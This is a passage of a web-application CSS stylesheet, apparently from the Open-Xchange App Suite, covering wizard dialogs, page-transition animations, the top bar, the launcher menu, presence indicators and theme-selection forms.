  z-index:1000000
}
.inplace-dropzone .dropzone-caption,
.inplace-dropzone .dropzone-dragover {
  color:var(--text);
  font-weight:700;
  text-align:center;
  padding:0 24px;
  top:50%;
  width:100%;
  margin-top:-10px;
  z-index:1
}
.inplace-dropzone .dropzone-dragover {
  color:hsla(var(--shade-base),60%);
  font-size:60px;
  line-height:80px;
  margin-top:-60px;
  display:none
}
.inplace-dropzone .dropzone-overlay {
  opacity:.01;
  z-index:2;
  display:block
}
.inplace-dropzone.dragover {
  border-color:hsla(var(--shade-base),60%)
}
.inplace-dropzone.dragover .dropzone-caption {
  color:hsla(var(--shade-base),40%);
  margin-top:20px
}
.inplace-dropzone.dragover .dropzone-dragover {
  display:block
}
.detail-view-app {
  background-color:var(--background-50);
  overflow:auto
}
.detail-view-app .thread-view-control,
.detail-view-app .detail-view-container {
  margin:0 auto;
  max-width:100%;
  min-width:100%
}
.detail-view-app .thread-view-control .mail-detail-content.simple-mail,
.detail-view-app .detail-view-container .mail-detail-content.simple-mail {
  max-width:100%
}
.detail-view-app .detail-view-container {
  overflow:visible;
  outline:0;
  flex:1;
  padding:24px
}
.detail-view-app .detail-view-container>div {
  background-color:var(--background);
  padding:20px;
  border:1px solid var(--border-bright);
  border-radius:10px;
  box-shadow:0 8px 16px -2px #0000001f
}
.detail-view-app .inline-toolbar {
  display:flex;
  justify-content:flex-end
}
.detail-view-app .thread-view-control,
.detail-view-app .thread-view-list {
  position:static;
  min-height:100%;
  padding-top:24px
}
.detail-row {
  display:flex;
  margin-bottom:1rem
}
.detail-row .icon,
.detail-row .detail-row-icon {
  color:var(--text-gray);
  width:40px
}
.detail-row .icon .bi,
.detail-row .detail-row-icon .bi {
  width:16px;
  height:16px;
  position:relative;
  top:2px
}
.detail-row .content,
.detail-row .detail-row-content {
  width:calc(100% - 40px);
  flex:1
}
.wizard-container {
  display:flex;
  z-index:100003
}
.wizard-step {
  font-size:14px;
  background-color:var(--background);
  outline:0;
  z-index:1000;
  position:absolute;
  border-radius:12px;
  width:400px;
  box-shadow:0 10px 20px #0000004d
}
html.dark .wizard-step {
  background-color:var(--background-100);
  outline:1px solid var(--border)
}
.wizard-step.center {
  position:static;
  margin:0 auto
}
.wizard-step.middle {
  position:static;
  align-self:center
}
.wizard-step .wizard-title {
  font-size:18px;
  font-weight:700;
  padding:24px 16px 0;
  margin:0 32px 0 0
}
.wizard-step .wizard-title:empty {
  display:none
}
.wizard-step .wizard-header {
  position:relative
}
.wizard-step .wizard-close {
  position:absolute;
  width:40px;
  height:48px;
  line-height:48px;
  top:8px;
  right:8px;
  outline:0;
  color:var(--text-gray);
  opacity:.8
}
.wizard-step .wizard-close:hover {
  opacity:1
}
.wizard-step .wizard-content {
  padding:16px
}
.wizard-step .wizard-footer {
  padding:16px 24px;
  font-weight:700;
  text-align:right
}
.wizard-step .wizard-footer:empty {
  display:none
}
.wizard-step .wizard-footer .btn {
  margin-left:16px
}
.wizard-step .wizard-footer .wizard-step-number {
  text-align:left;
  line-height:30px;
  height:0;
  display:block;
  font-weight:200;
  color:var(--text-gray)
}
.wizard-step .getting-started-header {
  background-size:cover;
  background-image:url(./tour_dialog_banner@2x-BfTz9Pr5.jpg);
  height:177px;
  border-radius:12px 12px 0 0
}
.wizard-step .getting-started-container {
  display:flex;
  flex-direction:row;
  gap:5px
}
.wizard-step .getting-started-container .greeting-title {
  font-size:22px;
  font-weight:700;
  line-height:20px;
  padding:16px 0 24px;
  margin:0
}
.wizard-step .getting-started-container .getting-started-brush {
  display:flex;
  align-items:center
}
.wizard-step .getting-started-container .getting-started-text {
  line-height:20px;
  padding:0 24px 24px
}
.getting-started-modal {
  width:664px;
  padding:0
}
.wizard-overlay {
  background-color:#00000026;
  z-index:100001
}
html.dark .wizard-overlay:not(.wizard-spotlight) {
  background-color:#00000040
}
.wizard-backdrop {
  background-color:#00000026;
  z-index:100001
}
html.dark .wizard-backdrop {
  background-color:#00000040
}
.wizard-spotlight {
  background-color:#ffffff03;
  box-shadow:0 10px 50px #0006;
  z-index:100002
}
html.dark .wizard-spotlight {
  background-color:#ffffff1a;
  outline:1px solid var(--border)
}
.smartphone .wizard-container {
  background-color:#f5f5f5;
  z-index:1000;
  overflow:hidden;
  display:block
}
.smartphone .wizard-navbar {
  position:absolute;
  width:100%;
  height:48px;
  border-bottom:1px solid #ccc;
  background-color:#fff;
  text-align:center;
  line-height:48px;
  display:table;
  table-layout:fixed;
  -webkit-touch-callout:none
}
.smartphone .wizard-navbar a:active,
.smartphone .wizard-navbar a:focus {
  opacity:.5;
  text-decoration:none
}
.smartphone .wizard-navbar a[disabled] {
  color:#aaa;
  pointer-events:none
}
.smartphone .wizard-title,
.smartphone .wizard-back,
.smartphone .wizard-next {
  display:table-cell;
  width:50%;
  white-space:nowrap
}
.smartphone .wizard-title {
  font-weight:700;
  text-align:center;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap
}
.smartphone .wizard-back {
  text-align:left;
  padding:0 8px 0 16px
}
.smartphone .wizard-next {
  text-align:right;
  padding:0 16px 0 8px
}
.smartphone .wizard-pages {
  position:absolute;
  width:100%;
  top:49px;
  bottom:0
}
.smartphone .wizard-animation {
  display:none
}
.smartphone .wizard-step {
  font-size:16px;
  top:0;
  left:0;
  transform:translateZ(0);
  height:100%;
  width:100%;
  padding-top:40px;
  text-align:center;
  overflow:hidden;
  box-shadow:none;
  background-color:transparent
}
.taptrap {
  position:absolute;
  width:100%;
  height:100%;
  background:transparent;
  z-index:100
}
.io-ox-pagecontroller {
  box-shadow:0 0 10px #ccc
}
.io-ox-pagecontroller.page {
  position:absolute;
  width:100%;
  height:100%;
  backface-visibility:hidden;
  display:none
}
.io-ox-pagecontroller.page.current,
.io-ox-pagecontroller.page.inmotion {
  display:block
}
.io-ox-pagecontroller.page .content {
  margin:0 8px
}
.smartphone .io-ox-pagecontroller.page {
  background-color:var(--background);
  overflow:hidden
}
.smartphone .io-ox-pagecontroller.page.current,
.smartphone .io-ox-pagecontroller.page.inmotion {
  display:flex
}
.smartphone .mobile-toolbar-visible .io-ox-pagecontroller.page {
  height:100%
}
.io-ox-core-animation.in,
.io-ox-core-animation.out {
  animation-duration:.4s;
  animation-fill-mode:both;
  animation-timing-function:cubic-bezier(.1,.7,.1,1);
  backface-visibility:hidden;
  perspective:1000
}
.io-ox-core-animation.slideleft.in {
  animation-name:slideLeftIn
}
.io-ox-core-animation.slideleft.out {
  animation-name:slideLeftOut
}
.io-ox-core-animation.slideright.in {
  animation-name:slideRightIn
}
.io-ox-core-animation.slideright.out {
  animation-name:slideRightOut
}
.io-ox-core-animation.slideup.in {
  animation-name:slideUpIn
}
.io-ox-core-animation.slideup.out {
  animation-name:slideUpOut
}
.io-ox-core-animation.slidedown.in {
  animation-name:slideDownIn
}
.io-ox-core-animation.slidedown.out {
  animation-name:slideDownOut
}
.io-ox-core-animation.pop {
  transform-origin:50% 50%
}
.io-ox-core-animation.pop.in {
  transform:scale(1);
  animation-name:popin;
  animation-duration:.35s;
  opacity:1
}
.io-ox-core-animation.pop.out {
  animation-name:fadeOut;
  animation-duration:.1s;
  opacity:0
}
.io-ox-core-animation.fade.in {
  opacity:1;
  animation-timing-function:linear;
  animation-duration:.15s;
  animation-name:fadeIn
}
.io-ox-core-animation.fade.out {
  opacity:0;
  animation-timing-function:linear;
  animation-duration:.15s;
  animation-name:fadeOut
}
@media (prefers-reduced-motion: reduce) {
  .io-ox-core-animation.slideleft.in,
  .io-ox-core-animation.slideright.in,
  .io-ox-core-animation.slideup.in,
  .io-ox-core-animation.slidedown.in,
  .io-ox-core-animation.pop.in {
    opacity:1;
    animation-timing-function:linear;
    animation-duration:.15s;
    animation-name:fadeIn
  }
  .io-ox-core-animation.slideleft.out,
  .io-ox-core-animation.slideright.out,
  .io-ox-core-animation.slideup.out,
  .io-ox-core-animation.slidedown.out,
  .io-ox-core-animation.pop.out {
    opacity:0;
    animation-timing-function:linear;
    animation-duration:.15s;
    animation-name:fadeOut
  }
}
@keyframes popin {
  0% {
    transform:scale(.9);
    opacity:0
  }
  to {
    transform:scale(1);
    opacity:1
  }
}
@keyframes popout {
  0% {
    transform:scale(1);
    opacity:1
  }
  to {
    transform:scale(.9);
    opacity:0
  }
}
@keyframes fadeIn {
  0% {
    opacity:0
  }
  to {
    opacity:1
  }
}
@keyframes fadeOut {
  0% {
    transform:scale(1);
    opacity:1
  }
  to {
    transform:scale(1);
    opacity:0
  }
}
@keyframes slideLeftIn {
  0% {
    transform:translate3d(100%,0,0)
  }
  to {
    transform:translateZ(0)
  }
}
@keyframes slideLeftOut {
  0% {
    transform:translateZ(0);
    opacity:1
  }
  to {
    transform:translate3d(-20%,0,0);
    opacity:.8
  }
}
@keyframes slideRightIn {
  0% {
    transform:translate3d(-20%,0,0)
  }
  to {
    transform:translateZ(0)
  }
}
@keyframes slideRightOut {
  0% {
    transform:translateZ(0)
  }
  to {
    transform:translate3d(100%,0,0)
  }
}
@keyframes slideUpIn {
  0% {
    transform:translate3d(0,100%,0)
  }
  to {
    transform:translateZ(0)
  }
}
@keyframes slideUpOut {
  0% {
    transform:translateZ(0)
  }
  to {
    transform:translate3d(0,100%,0)
  }
}
@keyframes slideDownIn {
  0% {
    transform:translate3d(0,-100%,0)
  }
  to {
    transform:translateZ(0)
  }
}
@keyframes slideDownOut {
  0% {
    transform:translateZ(0)
  }
  to {
    transform:translate3d(0,100%,0)
  }
}
.io-ox-quota-view {
  font-size:13px;
  line-height:16px;
  font-weight:300;
  margin-top:8px
}
.io-ox-quota-view .quota-description {
  display:table;
  width:100%;
  margin:4px 0
}
.io-ox-quota-view .numbers {
  font-size:11px;
  font-weight:700
}
.io-ox-quota-view .progress {
  clear:both;
  margin:0;
  height:8px;
  background-color:var(--background-100);
  position:relative
}
.io-ox-quota-view .progress .progress-bar {
  position:absolute
}
.attachment-list {
  display:grid;
  gap:4px 32px
}
.attachment-list.grid {
  grid-template-columns:repeat(2,1fr)
}
.attachment-list .file {
  background:var(--background-5)
}
.attachment-list .remove-attachment svg {
  color:var(--delete)
}
.attachment-list .remove-attachment:hover svg,
.attachment-list .remove-attachment:focus svg {
  color:var(--gray-800)
}
.attachment-list:empty {
  display:none
}
:is(.add-local-file,
.add-from-storage) svg {
  color:var(--add)
}
.touch :is(.filename,
.filesize) {
  font-size:14px
}
.hotspot {
  position:absolute;
  width:8px;
  height:8px;
  z-index:100002;
  background-color:#fd057c;
  border-radius:50%
}
.hotspot:before {
  content:"";
  position:absolute;
  background-color:fade(#FD057C,70%);
  width:120px;
  height:120px;
  border-radius:50%;
  border:1px solid #FD057C;
  animation:hotspot-pulsar 2s infinite ease-out;
  top:-56px;
  left:-56px;
  z-index:-1
}
.hotspot:after {
  content:"";
  position:absolute;
  background-color:fade(#FD057C,70%);
  width:120px;
  height:120px;
  top:-56px;
  left:-56px;
  border-radius:50%;
  border:1px solid #FD057C;
  animation:hotspot-pulsar-inner 2s infinite ease-out
}
@keyframes hotspot-pulsar {
  0% {
    opacity:.65;
    transform:scale(.1)
  }
  to {
    opacity:0;
    transform:scale(1)
  }
}
@keyframes hotspot-pulsar-inner {
  0% {
    opacity:0;
    transform:scale(.1)
  }
  24%,
  90% {
    opacity:0
  }
  25% {
    opacity:.65;
    transform:scale(.1)
  }
  to {
    opacity:0;
    transform:scale(1)
  }
}
.skip-links.sr-only.sr-only-focusable {
  color:var(--topbar-icon);
  background-color:transparent;
  outline:0;
  padding:8px;
  margin:16px 0;
  margin-inline-start:8px
}
.sr-only {
  color:var(--text);
  background-color:var(--background);
  user-select:none;
  -webkit-user-select:none
}
.sr-only-text {
  color:var(--background);
  background-color:var(--background);
  user-select:none;
  -webkit-user-select:none
}
.sr-only-focusable:active,
.sr-only-focusable:focus {
  position:static;
  width:auto;
  height:auto;
  overflow:visible;
  clip:auto;
  white-space:normal
}
#accessible-tooltip-container {
  height:0;
  overflow:hidden
}
.accessible-tooltip {
  display:none;
  color:var(--tooltip-text);
  background-color:var(--tooltip-background);
  border-radius:var(--default-radius);
  padding:.25rem .5rem;
  font-size:.75rem;
  line-height:1rem;
  max-width:240px
}
.accessible-tooltip.active {
  display:block;
  position:fixed;
  z-index:10000
}
.accessible-tooltip .tooltip-arrow {
  position:absolute;
  display:block;
  width:12px;
  height:6px;
  left:calc(50% - 8px)
}
.accessible-tooltip .tooltip-arrow:before {
  position:absolute;
  content:"";
  border-color:transparent;
  border-style:solid
}
.accessible-tooltip.top .tooltip-arrow {
  bottom:-3px
}
.accessible-tooltip.top .tooltip-arrow:before {
  border-width:6px 6px 0;
  border-top-color:var(--tooltip-background)
}
.accessible-tooltip.bottom .tooltip-arrow {
  top:-6px
}
.accessible-tooltip.bottom .tooltip-arrow:before {
  border-width:0 6px 6px;
  border-bottom-color:var(--tooltip-background)
}
#io-ox-core #io-ox-topbar {
  display:none
}
.smartphone .popover-signout {
  margin-right:10px
}
.smartphone .popover-signout .popover-content-signout {
  color:#333
}
#io-ox-top-logo {
  width:auto;
  font-size:0;
  display:flex;
  justify-content:flex-start;
  align-items:center;
  height:100%;
  min-width:72px
}
.smartphone #io-ox-top-logo {
  margin:0 10px
}
#io-ox-top-logo .logo-container {
  width:max-content;
  min-width:52px
}
#io-ox-top-logo img,
#io-ox-top-logo svg {
  width:auto;
  height:32px;
  max-height:100%;
  max-width:100%;
  min-width:100%;
  object-fit:contain
}
.logo-btn {
  height:48px;
  padding:0;
  border:0;
  outline:0
}
.smartphone .logo-btn:focus,
.smartphone .logo-btn:hover {
  background:none;
  outline:none;
  box-shadow:none
}
#io-ox-appcontrol {
  z-index:12;
  color:var(--topbar-icon);
  background:var(--topbar-background);
  height:72px;
  padding:0;
  display:flex;
  align-content:center;
  container-type:size;
  container-name:appcontrol
}
.smartphone #io-ox-appcontrol {
  container-type:unset;
  z-index:unset
}
#io-ox-appcontrol>div>ul {
  display:flex;
  height:100%;
  margin-bottom:0
}
#io-ox-appcontrol>div>ul>li {
  display:inline-flex;
  align-items:center
}
#io-ox-appcontrol .badge {
  background-color:#c80000;
  top:0
}
#io-ox-appcontrol #io-ox-topleftbar,
#io-ox-appcontrol #io-ox-quicklaunch,
#io-ox-appcontrol #io-ox-topsearch,
#io-ox-appcontrol #io-ox-toprightbar {
  display:inline-flex;
  height:100%;
  align-items:center
}
#io-ox-appcontrol button.btn-topbar:not(.launcher-dropdown *) {
  width:48px;
  height:48px;
  font-size:18px;
  padding:0;
  position:relative;
  color:var(--topbar-icon)
}
#io-ox-appcontrol button.btn-topbar:not(.launcher-dropdown *):focus-visible {
  color:#fff
}
#io-ox-appcontrol button.btn-topbar:not(.launcher-dropdown *):hover {
  background-color:var(--topbar-hover);
  color:var(--topbar-icon)
}
@container appcontrol (max-width: 820px) {
  #io-ox-appcontrol #io-ox-quicklaunch {
    display:none
  }
}
@container appcontrol (max-width: 940px) {
  #io-ox-appcontrol #io-ox-quicklaunch button:not(:first-child) {
    display:none
  }
}
@container appcontrol (max-width: 1100px) {
  #io-ox-appcontrol #io-ox-quicklaunch button:nth-child(n+4) {
    display:none
  }
}
.smartphone #io-ox-appcontrol #io-ox-quicklaunch {
  display:none
}
#io-ox-appcontrol #io-ox-quicklaunch .upsell-icon {
  color:var(--upsell);
  position:absolute;
  top:8px;
  right:2px
}
.smartphone #io-ox-appcontrol #io-ox-toprightbar {
  padding-right:0
}
#io-ox-appcontrol #io-ox-toprightbar #io-ox-topbar-account-dropdown-icon .dropdown-toggle {
  display:block
}
#io-ox-appcontrol #io-ox-toprightbar .contact-picture {
  width:40px;
  height:40px;
  background-repeat:no-repeat;
  background-position:center center;
  background-size:cover;
  border-radius:50%;
  display:flex;
  flex-direction:column;
  justify-content:center;
  align-items:center;
  color:var(--avatar);
  background-color:var(--avatar-background);
  font-size:18px;
  font-weight:700;
  fill:currentColor;
  background-clip:padding-box;
  margin:0 4px
}
.app-header-container {
  line-height:normal;
  min-height:52px;
  padding-inline:16px;
  padding-bottom:12px;
  padding-top:16px
}
.app-header-container .inline-toolbar {
  margin-top:unset;
  line-height:1;
  min-height:20px;
  display:flex;
  gap:8px;
  margin-left:4px
}
.app-header-container .inline-toolbar>li {
  display:flex
}
.app-header-container .context {
  overflow:hidden
}
.app-header-container .context .title-lg {
  font-size:1.25rem;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap
}
.app-header-container .context .subtitle {
  color:var(--text-gray)
}
.app-header-container .context .title-sm {
  color:var(--text-gray);
  font-size:.875rem
}
.app-header-container .right-side span {
  font-size:1rem
}
.app-header-container .right-side button {
  padding:0
}
.app-header-container .right-side button.edit {
  padding-left:8px
}
#io-ox-topbar-account-dropdown-icon {
  margin-inline-start:8px
}
#io-ox-topbar-account-dropdown-icon>button {
  width:48px;
  height:48px
}
#topbar-account-dropdown .user {
  padding:3px 20px;
  display:flex;
  width:100%
}
#topbar-account-dropdown .user .action {
  display:flex;
  padding:0;
  background:none
}
#topbar-account-dropdown .user .user-picture-container {
  margin-right:16px;
  width:64px
}
#topbar-account-dropdown .user .user-picture {
  display:flex;
  flex-direction:column;
  justify-content:center;
  align-items:center;
  width:64px;
  height:64px;
  background-repeat:no-repeat;
  background-position:center center;
  background-size:cover;
  border-radius:50%;
  background-color:#eee;
  color:#0009;
  font-size:11px;
  font-weight:700;
  fill:currentColor;
  background-clip:padding-box;
  border:1px solid rgba(0,0,0,.5)
}
#topbar-account-dropdown .user .user-picture svg {
  display:none
}
#topbar-account-dropdown .user .user-picture .initials {
  font-size:20px
}
#topbar-account-dropdown .user .action:hover svg,
#topbar-account-dropdown .user .action:focus svg {
  display:block
}
#topbar-account-dropdown .user .action:hover .initials,
#topbar-account-dropdown .user .action:focus .initials {
  display:none
}
#topbar-account-dropdown .user .action:focus .user-picture {
  box-shadow:0 0 8px 2px var(--focus-500)
}
#topbar-account-dropdown .user .action:focus .user-picture[style] {
  box-shadow:0 0 8px 2px var(--focus-500),0 0 0 2px #fff inset
}
#topbar-account-dropdown .user .text-container {
  flex:1;
  display:flex;
  flex-direction:column;
  justify-content:center;
  min-width:0
}
#topbar-account-dropdown .user .text-container .name {
  font-size:16px;
  font-weight:700
}
#topbar-account-dropdown .user .text-container .name,
#topbar-account-dropdown .user .text-container .mail {
  min-width:0;
  overflow:hidden;
  text-overflow:ellipsis
}
.smartphone #topbar-account-dropdown .user {
  width:auto
}
.smartphone #topbar-account-dropdown .user .user-picture-container {
  width:48px
}
.smartphone #topbar-account-dropdown .user .user-picture {
  width:48px;
  height:48px
}
.smartphone #topbar-account-dropdown .user .action {
  flex-direction:column;
  justify-content:center
}
.smartphone #topbar-account-dropdown .user .text-container {
  text-align:left
}
.launcher-dropdown.dropdown-menu {
  padding:16px;
  min-width:340px
}
.launcher.open .launcher-dropdown.dropdown-menu {
  display:flex
}
.launcher-dropdown.dropdown-menu h3 {
  font-size:18px;
  font-weight:700
}
.launcher-dropdown.dropdown-menu .apps {
  display:flex;
  flex-direction:column;
  flex:1.5;
  border-inline-end:1px solid var(--border-bright);
  padding-inline-end:8px
}
.launcher-dropdown.dropdown-menu .apps ul {
  padding:0
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu {
  display:block;
  max-width:100%;
  border:none;
  margin:0;
  -ms-overflow-style:none;
  scrollbar-width:none
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu::-webkit-scrollbar {
  display:none
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .close-button {
  display:flex;
  justify-content:end
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .close-button .btn-close {
  background-color:var(--shade-a10);
  border-radius:50%
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .user {
  display:flex;
  margin-top:8px;
  margin-bottom:16px;
  padding-bottom:28px;
  border-bottom:1px solid var(--border)
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .user a {
  flex:0;
  padding:0;
  margin-right:16px;
  width:64px
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .user .text-container {
  margin-left:16px;
  overflow:hidden
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .user .text-container div {
  text-overflow:ellipsis;
  white-space:nowrap
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .user .text-container .name {
  font-weight:700;
  font-size:1.25rem;
  line-height:1.75rem
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .user .text-container .mail {
  color:var(--text-gray);
  font-size:1rem;
  line-height:1.5rem
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .user .user-picture {
  display:flex;
  flex-direction:column;
  justify-content:center;
  align-items:center;
  width:48px;
  height:48px;
  background-repeat:no-repeat;
  background-position:center center;
  background-size:cover;
  border-radius:50%;
  padding:0;
  background-color:#eee;
  color:#0009;
  font-size:11px;
  font-weight:700;
  fill:currentColor;
  background-clip:padding-box;
  border:1px solid rgba(0,0,0,.5)
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .user .user-picture svg {
  display:none
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .user .user-picture .initials {
  font-size:20px
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .apps,
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .drafts {
  display:flex;
  flex:1 1 auto;
  flex-direction:row;
  flex-wrap:wrap;
  padding:0 0 24px;
  border:none;
  border-bottom:1px solid var(--border);
  row-gap:16px
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .apps li,
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .drafts li {
  width:50%
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .apps li button,
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .drafts li button {
  width:100%
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .apps .lcell .icon-wrap,
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .drafts .lcell .icon-wrap {
  margin-right:16px;
  width:48px;
  height:48px
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .menu {
  padding-inline-start:0
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .menu>li {
  row-gap:8px
}
.smartphone .launcher.open .launcher-dropdown.dropdown-menu .menu .btn.btn-toolbar svg {
  display:inline-block
}
.launcher-dropdown.dropdown-menu .menu {
  flex:1;
  display:flex;
  padding-inline-start:16px
}
.launcher-dropdown.dropdown-menu .menu .menu-actions {
  display:flex;
  flex-direction:column;
  justify-content:flex-end
}
.launcher-dropdown.dropdown-menu .menu .menu-actions button.btn.btn-toolbar {
  padding-left:8px;
  text-align:left
}
.launcher-dropdown.dropdown-menu button.lcell {
  height:96px
}
.launcher-dropdown.dropdown-menu .btn-topbar {
  padding:0
}
.launcher-dropdown.dropdown-menu .lcell {
  display:flex;
  align-items:center;
  cursor:pointer
}
.launcher-dropdown.dropdown-menu .lcell .icon-wrap {
  width:48px;
  height:48px;
  margin-inline-end:12px;
  position:relative;
  flex-shrink:0
}
.launcher-dropdown.dropdown-menu .lcell .icon-wrap .icon-background {
  position:absolute;
  width:100%;
  height:100%;
  opacity:.1;
  border-radius:var(--default-radius)
}
.launcher-dropdown.dropdown-menu .lcell .icon-wrap svg {
  width:24px;
  height:auto;
  max-height:48px;
  overflow:visible
}
.launcher-dropdown.dropdown-menu .lcell svg.indicator {
  display:none
}
.launcher-dropdown.dropdown-menu .lcell .closer {
  font-size:15px;
  color:var(--text-gray);
  height:42px
}
.smartphone .launcher-dropdown.dropdown-menu .lcell {
  padding:0;
  margin:0
}
.launcher-dropdown.dropdown-menu .lcell .title {
  color:var(--text);
  font-size:1em;
  text-align:left
}
.smartphone .launcher-dropdown.dropdown-menu .lcell .title {
  font-size:14px;
  top:70%;
  overflow:hidden;
  text-overflow:ellipsis;
  width:100%;
  display:block;
  white-space:nowrap
}
.launcher-dropdown.dropdown-menu .lcell .title.upsell svg {
  color:var(--upsell);
  margin-inline-start:4px;
  font-size:14px
}
.launcher-dropdown.dropdown-menu .lcell .badge {
  position:absolute;
  top:43%;
  right:17%;
  font-size:9px;
  z-index:1;
  background-color:#757575
}
.launcher-dropdown.dropdown-menu button.btn.btn-toolbar {
  display:block;
  width:100%;
  padding-right:8px;
  margin-bottom:.5rem
}
.launcher-dropdown.dropdown-menu button.btn.btn-toolbar:hover:not(:focus) {
  text-decoration:none;
  background-color:var(--background-5)
}
.launcher-dropdown.dropdown-menu button.btn.btn-toolbar:focus:focus-visible .title {
  color:var(--selected-focus)
}
.launcher-dropdown.dropdown-menu button.btn.btn-toolbar:focus:active .title {
  color:var(--text)
}
.launcher-dropdown.dropdown-menu button.btn.btn-toolbar:focus-visible:active .title {
  color:var(--selected-focus)
}
#io-ox-launchgrid-overlay {
  z-index:11;
  display:none;
  background-color:#ffffff03;
  position:absolute;
  inset:72px 0 0
}
#io-ox-launchgrid-overlay.open {
  display:block
}
#io-ox-launchgrid-overlay-inner {
  position:absolute;
  display:none;
  inset:0;
  z-index:1
}
@media (max-width: 320px) {
  .smartphone #io-ox-appcontrol #io-ox-topsearch {
    margin-right:0
  }
  .smartphone #io-ox-appcontrol #io-ox-topleftbar .launcher>button {
    padding:16px 9px
  }
  .smartphone #io-ox-appcontrol #io-ox-toprightbar .launcher>button {
    padding:16px 9px
  }
  .smartphone #io-ox-appcontrol #io-ox-launcher>button.launcher-btn {
    width:44px
  }
}
@media (max-height: 550px) {
  .smartphone .app-header-container {
    min-height:40px;
    padding-top:12px
  }
}
.presence {
  display:inline-block;
  line-height:0
}
.presence .icon {
  color:#fff;
  width:16px;
  height:16px;
  border-radius:50%;
  display:inline-flex;
  justify-content:center;
  align-items:center;
  margin-inline-end:8px;
  background-clip:content-box
}
.presence .icon svg {
  font-size:14px;
  transform:scale(1.25)
}
.presence .icon svg path {
  display:none
}
.presence.dot {
  font-size:0
}
.presence.dot .icon {
  width:10px;
  height:10px
}
.presence.dot .icon svg {
  display:none
}
.presence.offline .icon {
  background-color:#aaa
}
.presence.online .icon {
  background-color:var(--presence-online)
}
.presence.online svg .online {
  display:inline
}
.presence.busy .icon {
  background-color:var(--presence-busy)
}
.presence.busy svg .busy {
  display:inline
}
.presence.absent .icon {
  background-color:var(--presence-absent)
}
.presence.absent svg .absent {
  display:inline
}
#io-ox-topbar-account-dropdown-icon>.dropdown-toggle>.presence {
  position:absolute;
  top:28px;
  right:-2px
}
#io-ox-topbar-account-dropdown-icon>.dropdown-toggle>.presence .icon {
  border:1px solid rgba(0,0,0,.6);
  margin:0
}
#topbar-account-dropdown .offline {
  display:inline-block
}
.list-view.show-avatars .list-item .presence,
.vgrid-scrollpane .list-item .presence {
  position:absolute;
  margin-inline-start:-18px;
  margin-block-start:20px
}
.list-view.show-avatars .presence.offline,
.vgrid-scrollpane .presence.offline {
  display:none
}
.list-view.show-avatars .presence .icon,
.vgrid-scrollpane .presence .icon {
  border:1px solid var(--background);
  box-sizing:content-box
}
.list-view.show-avatars .selected .presence .icon,
.vgrid-scrollpane .selected .presence .icon {
  border-color:var(--selected-background)
}
.list-view.show-avatars.has-focus .selected .presence .icon,
.vgrid-scrollpane.has-focus .selected .presence .icon {
  border-color:var(--selected-background-focus)
}
.participant-wrapper .presence {
  position:absolute;
  top:37px;
  left:40px
}
.participant-wrapper .presence .icon {
  border:1px solid white;
  box-sizing:content-box
}
.participant-wrapper .presence.offline {
  display:none
}
.participantsrow .participant-wrapper .presence {
  left:56px
}
.freetime-view .participant-wrapper .presence {
  top:18px;
  left:23px
}
.theming-form fieldset legend {
  border:none;
  margin-top:0
}
.theming-form ul {
  margin:0;
  padding:0
}
.theming-form li {
  position:relative;
  display:inline-block;
  list-style:none;
  width:40px;
  height:40px
}
.theming-form input[type=radio] {
  position:absolute;
  height:100%;
  opacity:0
}
.theming-form.theming-form-accent-colors input[type=radio]+label span {
  position:relative
}
.theming-form.theming-form-accent-colors input[type=radio]+label span:after {
  position:absolute;
  left:50%;
  top:50%;
  transition:.2s opacity;
  opacity:0;
  content:".";
  width:1em;
  height:1em;
  margin-top:-.5em;
  margin-left:-.5em;
  border-radius:50%;
  background:#fff;
  text-indent:-999em
}
.theming-form.theming-form-accent-colors input[type=radio]:checked+label span:after {
  opacity:1
}
.theming-form.theming-form-accent-colors input[type=radio]:focus+label span {
  border-color:var(--focus-500);
  box-shadow:0 0 0 .25rem var(--btn-primary-outline)
}
.theming-form.theming-form-themes li {
  width:100px;
  height:100px
}
.theming-form.theming-form-themes li input[type=radio]:checked+label {
  text-decoration:underline;
  text-decoration-color:var(--accent)
}
.theming-form.theming-form-themes li input[type=radio]:checked+label span.card {
  outline:2px solid var(--accent);
  border:1px solid var(--accent);
  text-decoration:underline
}
.theming-form.theming-form-themes li input[type=radio]:focus+label span.card {
  border-color:var(--focus-500);
  box-shadow:0 0 0 .5rem var(--btn-primary-outline)
}
.io-ox-settings-main.modal.flex .settings-detail-pane .settings-section .theme-dialog h3 {
  font-weight:700;
  font-size:14px;
  margin-top:24px;
  margin-bottom:8px
}
.io-ox-settings-main.modal.flex .settings-detail-pane .settings-section .theme-dialog h3.first-header {
  margin-top:0;
  margin-bottom:8px
}
.io-ox-settings-main.modal.flex .settings-detail-pane .settings-section .theme-dialog fieldset {
  padding:0;
  margin:0;
  border:0
}
.io-ox-settings-main.modal.flex .settings-detail-pane .settings-section .theme-dialog fieldset legend {
  font-size:14px;
  font-weight:600;
  left:0
}
.io-ox-settings-main.modal.flex .settings-detail-pane .settings-section .theme-dialog fieldset ul {
  max-width:700px
}
.io-ox-settings-main.modal.flex .settings-detail-pane .settings-section .theme-dialog legend {
  position:relative;
  left:0;
  margin-bottom:8px
}
.checkbox.custom,
.radio.custom {
  margin-bottom:8px;
  padding-inline-start:24px;
  font-size:14px;
  line-height:1.5rem;
  position:relative
}
.checkbox.custom label,
